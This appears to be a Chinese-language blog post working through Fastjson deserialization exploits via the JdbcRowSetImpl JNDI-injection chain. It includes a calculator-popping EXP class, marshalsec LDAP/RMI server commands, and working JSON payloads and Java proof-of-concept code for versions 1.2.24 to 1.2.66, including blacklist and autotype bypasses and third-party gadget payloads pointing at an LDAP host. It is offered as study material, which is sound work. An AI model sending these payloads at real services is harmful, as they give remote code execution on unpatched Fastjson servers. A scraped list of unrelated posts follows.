JdbcRowSetImpl

接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体setter调用代码可以参考上篇文章调试的部分

1、漏洞复现

1.1、组件依赖版本

  1. fastjson:1.2.22-1.2.24

1.2、利用方式

不像TemplatesImpl链需要指定的利用方式,JdbcRowSetImpl链只需要可以控制输入就能利用。

  1. JSON.parse(evil);
  2. JSON.parseObject(evil);
  3. JSON.parseObject(evil, Object.class);

当然对jdk的版本有需求,因为高版本jdk对jndi和rmi有限制,在rmi篇也有说明这里再次贴出,方便自己以后查看

  1. RMI利用的JDK版本≤ JDK 6u1327u1228u113
  2. LADP利用JDK版本≤ 6u211 7u2018u191

图为阿里云应用

1.3、漏洞复现

准备恶意的代码

  1. import java.io.IOException;
  2. public class EXP {
  3. public EXP() throws IOException {
  4. Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
  5. }
  6. }

编译恶意代码

  1. javac EXP.java

开启http服务

  1. python3 -m http.server

用marshalsec开jndi服务

  1. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#EXP 1389

使用JdbcRowSetImpl构造poc,成功弹窗

  1. package com.akkacloud.demo;
  2. import com.sun.rowset.JdbcRowSetImpl;
  3. import java.sql.SQLException;
  4. public class fastjonTest2 {
  5. public static void main(String[] args) {
  6. JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
  7. try {
  8. jdbcRowSet.setDataSourceName("ldap://localhost:1389/#EXP");
  9. jdbcRowSet.setAutoCommit(true);
  10. } catch (SQLException throwables) {
  11. throwables.printStackTrace();
  12. }
  13. }
  14. }

因为fastjson会自动调用setter和getter,具体可以看

Poc调试的那部分,所以我们就可以构造处fastjson的poc

  1. {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}

我们JSON.parse()试一下

poc

  1. package com.akkacloud.demo;
  2. import com.alibaba.fastjson.JSON;
  3. import com.sun.rowset.JdbcRowSetImpl;
  4. import java.sql.SQLException;
  5. public class fastjonTest2 {
  6. public static void main(String[] args) {
  7. String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}";
  8. JSON.parse(exp);
  9. }
  10. }

1.4、利用链调试

这次我们就直接跳过fastjson的利用链,因为在TemplateImpl中已经详细跟进过,我们直接进入到 jdbcRowImpl,在setDataSourceName方法打下断点,其实看调用栈也是可以看出,前半部分是跟TemplatesImpl链是一样的,一个调用的是getOutputproperties,一个是setDataSourceName。

我们继续看,先判断DataSourceName的是否为null,不为就调用父类方法赋值,我们也跟进去看看

可以看到就是简单的dataSource赋值,然后就到setAutoCommit

就是判断this.conn是否为null,null就调用this.connect()方法赋值,我们也跟进去看看

跟进来发现,获取上下文然调用lookup方法,参数就是我们获取我们前面赋值dataSource

然后就成功执行代码了

2、漏洞绕过

前面的两条链都是的Fastjson版本都是1.2.22-1.2.24,后面就是绕过了。

2.1、Fastjson:1.2.25-1.2.41

我们先把依赖版本改成1.2.25,再次执行poc发现不行了,报错,说autotype不支持,我们比较一下两个包

我们在TemplatesImpl时,看过这段代码,this.config是ParserConfig,而ref是templatesImpl,他用checkAutoType检查了ref,我们看看他怎么检查的,我们在此处打下断点

确实在1.2.25会使用checkAutoType来校验ref(TemplatesImpl),我们跟进去发现要调用TypeUtils.loadClass,需要进入if,但是this.autoTypeSupport默认为false,所以进不去,

而且在1.2.25版本中默认为flase,我们需要把this.autoTypeSupport设置为true,

  1. ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

然后到了this.acceptList(白名单),因为他本身就是空的

然后就是黑名单denyList,我们看看是什么东西,发现我们com.sun包就在这里和其他的一些利用链类。

那我们应该怎么办呢?我们怎办才能进入TypeUtils.loadClass(typeName, this.defaultClassLoader),大佬们是跟进去TypeUtils.loadClass方法,发现了绕过方法,我们也跟进去。

跟进来发现,一种是@Type字段开头是 ”[“,另一种“L”开头与“;”结尾,他就会从第二个字符获取我们的className。

所以我们就可以构造新的payload,前提掉件就是AutoTypeSupport要为ture

  1. ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 必须显示关闭白名单
  2. {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}
  1. ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
  2. String exp = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}";
  3. JSON.parseObject(exp);

2.2、Fastjson:1.2.42

我们继续修改fastjson版本为1.2.42,继续报错autotype不支持,应该是黑名单问题。

我们调试点依旧打在checkAutoType,继续跟进看看

进来发现一堆hash,但是扔然进入到我们的第一红框,把className的"L"和";"去除掉了。

而且hash的加密方式就在com.alibaba.fastjson.util.TypeUtils#fnv1a_64,我们只需要通过把恶意的类通过碰撞hash就可以获取黑名单了,项目地址:https://github.com/LeadroyaL/fastjson-blacklist

因为前面已经去除过一次"L"和";",所以是进入不到if,我们用双写就可以绕过了。

修改payload

  1. {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}
  1. package com.akkacloud.demo;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.parser.ParserConfig;
  4. import com.sun.rowset.JdbcRowSetImpl;
  5. import java.sql.SQLException;
  6. public class fastjonTest2 {
  7. public static void main(String[] args) {
  8. String exp = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}";
  9. ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
  10. JSON.parseObject(exp);
  11. }
  12. }

2.3、Fastjson:1.2.43

1.2.43就是在原有的基础上对"LL"做了判定,是就直接抛出异常

但是"["还是可以

  1. {"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/EXP", "autoCommit":true}
  1. package com.akkacloud.demo;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.parser.ParserConfig;
  4. import com.sun.rowset.JdbcRowSetImpl;
  5. import java.sql.SQLException;
  6. public class fastjonTest2 {
  7. public static void main(String[] args) {
  8. /* JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
  9. try {
  10. jdbcRowSet.setDataSourceName("ldap://localhost:1389/#EXP");
  11. jdbcRowSet.setAutoCommit(true);
  12. } catch (SQLException throwables) {
  13. throwables.printStackTrace();
  14. }*/
  15. String exp = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://localhost:1389/EXP\", \"autoCommit\":true}" ;
  16. ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
  17. JSON.parseObject(exp);
  18. }
  19. }

2.4、Fastjson:1.2.44

[进行限制

2.5、Fastjson:1.2.45

利用条件需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。

  1. <dependency>
  2. <groupId>org.apache.ibatis</groupId>
  3. <artifactId>ibatis-core</artifactId>
  4. <version>3.0</version>
  5. </dependency>

用的是rmi服务

  1. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://localhost:8000/#EXP 1099

poc

  1. //需要有第三方组件ibatis-core 3:0
  2. {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
  1. package com.akkacloud.demo;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.parser.ParserConfig;
  4. import com.sun.rowset.JdbcRowSetImpl;
  5. import java.sql.SQLException;
  6. public class fastjonTest2 {
  7. public static void main(String[] args) {
  8. String exp = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://localhost:1099/EXP\"}}" ;
  9. ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
  10. JSON.parseObject(exp);
  11. }
  12. }

这里采用的跟前面的方式不一样,学习一下

@type指定的是JndiDataSourceFactory类,调用的是setProperties,原理依然是fastJson会自动调用getter和setter方法。我们跟进setProperties看看

到了这里就是会lookup,传入的json字符串data_source,造成RCE

2.6、1.2.25-1.2.47通杀

没有autotype限制和黑名单限制

  1. {
  2. "a": {
  3. "@type": "java.lang.Class",
  4. "val": "com.sun.rowset.JdbcRowSetImpl"
  5. },
  6. "b": {
  7. "@type": "com.sun.rowset.JdbcRowSetImpl",
  8. "dataSourceName": "ldap://localhost:1389/Exploit",
  9. "autoCommit": true
  10. }
  11. }
  1. package com.akkacloud.demo;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.parser.ParserConfig;
  4. import com.sun.rowset.JdbcRowSetImpl;
  5. import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;
  6. import java.sql.SQLException;
  7. public class fastjonTest2 {
  8. public static void main(String[] args) {
  9. String exp = "{\"a\": {\"@type\": \"java.lang.Class\",\"val\": \"com.sun.rowset.JdbcRowSetImpl\"},\"b\": {\"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\": \"ldap://localhost:1389/EXP\",\"autoCommit\": true}}";
  10. JSON.parseObject(exp);
  11. }
  12. }

我们跟进分析学习,在checkAutoType,因为我们第一个传入的是@Type是java.lang.Class,也没有把autoTypeSupport设置为true,所以会通过TypeUtils.getClassFromMapping(typeName)去查找,或者从this.deserializers.findClass(typeName)寻找。

在this.deserializers中找到了java.lang.Class,然后就直接返回了clazz,

我们回到上一层DefaultJSONParser的parseObject方法,然后我们继续走到下面

获取了java.lang.Class的反序列化处理类,com.alibaba.fastjson.serializer.MiscCodec,然后执行deserializer.deserialze(),跟进去

进入MiscCodec.deserialze(),我们直接进入重点parser.parse(),这个方法就是用来获取val值的,我们跟进去看看

其实就是遍历获取val的值,然后返回

然后赋值给strVal

然后就是一堆if判断,走到TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()),把strVal传进去

跟进来,在mapping里面存入了jdbcRowSetImpl,就是存入了mapping缓存

跟着程序继续来到checkAutoType(),跟进去。

会在mapping中查询jdbcRowImpl,因为我们已经存进去,所以clazz就能获取到,然后返回,我回到上一层

走到这,成功获取到jdbcRowSetImpl,然后就是自动自行我们的set方法,setDataSourceName、setautoCommit执行lookup,造成rce

2.7、Fastjson:1.2.48

黑名单多了两条,MiscCodec中将默认传入的cache变为false,checkAutoType()调整了逻辑

2.8、Fastjson:1.2.62

  • 需要开启AutoType;
  • Fastjson <= 1.2.62;
  • JNDI注入利用所受的JDK版本限制;
  • 目标服务端需要存在xbean-reflect包;
  1. {"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";

2.9、Fastjson:1.2.66

  1. // 需要autotype true
  2. {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
  3. {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
  4. {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
  5. {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}

Fastjson JdbcRowSetImpl利用链学习的更多相关文章

  1. fastjson反序列化-JdbcRowSetImpl利用链

    fastjson反序列化-JdbcRowSetImpl利用链 JdbcRowSetImpl利用链 fastjson反序列化JdbcRowSetImpl - Afant1 - 博客园 (cnblogs. ...

  2. commons-collections利用链学习总结

    目录 1 基础 ConstantTransformer InvokeTransformer ChainedTransformer LazyMap TiedMapEntry TransformingCo ...

  3. Java安全之FastJson JdbcRowSetImpl 链分析

    Java安全之FastJson JdbcRowSetImpl 链分析 0x00 前言 续上文的Fastjson TemplatesImpl链分析,接着来学习JdbcRowSetImpl 利用链,Jdb ...

  4. TemplatesImpl利用链

    FastJson利用链 Fastjson的版本在1.2.22-1.2.24主要有两条链利用TemplatsImpl和JdbcRowSetImpl利用链先来学习TemplatsImpl利用链,这个与前面 ...

  5. Fastjsonfan反序列链学习前置知识

    Fastjson前置知识 Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象. Fastjson 可以操作任何 ...

  6. C3P0反序列化链学习

    C3P0 c3p0第一次听闻是用于fastjson的回显上,大佬们总结三种方法,后面两种主要就是用于fastjson和jackjson的回显利用(注入内存马) http base jndi hex序列 ...

  7. FastJson反序列化漏洞利用的三个细节 - TemplatesImpl的利用链

    0. 前言 记录在FastJson反序列化RCE漏洞分析和利用时的一些细节问题. 1. TemplatesImpl的利用链 关于 parse 和 parseObject FastJson中的 pars ...

  8. JDK7u21反序列链学习

    JDK7u21 1.前置知识 jdk7u21是一条不依赖CommonsCollections库依赖的,看利用链所有知识其实跟CommonsCollections也有重复,我们来学习一下以前没学过的类或 ...

  9. CommonsCollection2反序列链学习

    CommonsCollection2 1.前置知识 CmonnosCollection2需要用到Javassist和PriorityQueue 1.1.Javassist Javassist是一个开源 ...

随机推荐

  1. redis不重启,切换到RDB备份到AOF备份

    redis不重启,切换RDB备份到AOF备份 确保redis版本在2.2以上 查看redis版本 redis-server -v 实验环境准备 本文是在redis4.0中,通过config set命令 ...

  2. 类型转换Java day8

    类型转换自动类型转换 从同种类型的低字节类型值直接转换到高类型字节值的转换可自动转换 类型自动转换示例 byte a = 20; int b = a;//不报错可正常转换 有些类型它在计算时默认以指定 ...

  3. SINAMICS S120的核心控制单元CU320使用教程,电机模块接线

    SINAMICS是西门子公司新一代的驱动产品,它正在逐步取代现有的MASTERDRIVES及SIMODRIVE系列的驱动系统.SINAMICS S120是集V/f控制.矢量控制和伺服控制于一体的多轴驱 ...

  4. ES6中数组新增的方法-超级好用

    Array.find((item,indexArr,arr)=>{}) 掌握 找出第一个符合条件的数组成员. 它的参数是一个回调函数,对所有数组成员依次执行该回调函数. 直到找出第一个返回值为t ...

  5. 什么是 FreeMarker 模板?

    FreeMarker 是一个基于 Java 的模板引擎,最初专注于使用 MVC 软件架构进行动态网页生成.使用 Freemarker 的主要优点是表示层和业务层的完全分离.程序员可以处理应用程序代码, ...

  6. JavaScript的访问器

    一.访问器属性: 1.Configurable:表示能否通过delete删除属性,从而重新定义属性,能否修改属性的特性,或者能否把属性修改为数据属性.对于直接在对象上定义的属性,这个特性的默认值为tr ...

  7. 解释内存中的栈(stack)、堆(heap)和方法区(method area) 的用法?

    通常我们定义一个基本数据类型的变量,一个对象的引用,还有就是函数调用的 现场保存都使用 JVM 中的栈空间:而通过 new 关键字和构造器创建的对象则放在 堆空间,堆是垃圾收集器管理的主要区域,由于现 ...

  8. 什么是基于 Java 的 Spring 注解配置?

    基于 Java 的配置,允许你在少量的 Java 注解的帮助下,进行你的大部分 Spring 配置而非通过 XML 文件. 以@Configuration 注解为例,它用来标记类可以当做一个 bean ...

  9. JPA、JTA、XA相关索引

    JPA和分布式事务简介:https://www.cnblogs.com/onlywujun/p/4784233.html JPA.JTA与JMS区别:https://www.cnblogs.com/y ...

  10. 在并发情况下,Elasticsearch 如果保证读写一致?

    1.可以通过版本号使用乐观并发控制,以确保新版本不会被旧版本覆盖,由应用 层来处理具体的冲突: 2.另外对于写操作,一致性级别支持 quorum/one/all,默认为 quorum,即只 有当大多数 ...